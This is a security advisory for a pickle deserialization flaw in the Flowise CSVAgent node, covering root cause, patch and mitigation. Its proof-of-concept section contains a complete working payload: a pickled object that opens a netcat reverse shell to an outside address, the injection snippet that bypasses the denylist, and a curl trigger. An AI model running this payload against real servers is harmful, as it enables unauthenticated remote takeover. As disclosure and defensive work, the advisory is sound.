CVE-2026-69256: flowise-components CSVAgent Pickle Deserialization Remote Code Execution
The Flowise CSVAgent node lets attackers smuggle a malicious pickled payload through the pandas read_pickle() function, bypassing the denylist entirely and running arbitrary OS commands on the server.

The problem
The CSVAgent node in flowise-components accepts a user-supplied customReadCSVFunc string that gets interpolated directly into a Python snippet executed by pyodide. A denylist of dangerous patterns (eval, exec, import, os., subprocess., etc.) is applied before execution.
The denylist does not block pd.read_pickle() or Python class definitions. An attacker can define a minimal file-like object in pure Python (no imports needed) and pass a base64-encoded pickle payload to pd.read_pickle(), triggering arbitrary OS command execution during deserialization.
No server-side authentication is required to trigger the chatflow prediction endpoint.
Proof of concept
A working proof-of-concept for CVE-2026-69256 in flowise-components, with the exact payload below.
# Step 1: generate the pickle payload (run locally)
import pickle, base64, os
class Exploit:
def __reduce__(self):
return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))
payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())
# Output: gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=
# Step 2: paste the following into CSVAgent "Additional Parameters" -> customReadCSVFunc
isnull("")
class MiniBytesIO:
def __init__(self, b):
self.data = b
self.pos = 0
def read(self, n=-1):
if n == -1:
n = len(self.data) - self.pos
chunk = self.data[self.pos:self.pos+n]
self.pos += n
return chunk
def readline(self, n=-1):
if self.pos >= len(self.data):
return b""
next_nl = self.data.find(b"\n", self.pos)
if next_nl == -1:
next_nl = len(self.data)
if n != -1:
next_nl = min(self.pos + n, next_nl)
line = self.data[self.pos:next_nl+1]
self.pos = next_nl + 1
return line
pd.read_pickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=")))
# Step 3: trigger via the prediction API
# curl -X POST http://<TARGET>/api/v1/prediction/<CHATFLOW-UUID>The root cause is CWE-94 (Improper Control of Generation of Code). The customReadCSVFunc value is interpolated into a Python string that pyodide executes with pd. as a prefix, so any valid pandas method call is reachable. The denylist blocks well-known dangerous symbols but never considered that pd.read_pickle() deserializes arbitrary Python objects, and that class definitions (used here to build a BytesIO substitute without importing io) were also unrestricted.
The patch (PR #6257 by @chloebyun-wd in 3.1.3) adds read_pickle and class to the forbidden patterns list and restricts the custom CSV field to accept only read_csv() calls, eliminating the entire attack surface rather than trying to enumerate every dangerous pandas method.
The fix
Upgrade flowise-components to 3.1.3 or later. The fix (PR #6257) blocks pd.read_pickle() and bare class definitions in the customReadCSVFunc field, and restricts that field to read_csv() calls only. If immediate upgrade is not possible, disable the CSVAgent node or remove public access to the prediction API endpoint.
Reported by Raul (Snyk Security Labs).
Related research
- highFlowise: Authenticated Arbitrary File Write via S3 Directory Loader Path Traversal
- criticalCVE-2026-69264CVE-2026-69264: Flowise CSVAgent Pyodide Code Injection RCE
- criticalCVE-2026-69259CVE-2026-69259: Flowise SQLite Record Manager Authenticated RCE via Arbitrary File Write
- criticalCVE-2026-69254CVE-2026-69254: Flowise RCE via NodeVM Sandbox Escape in executeJavaScriptCode()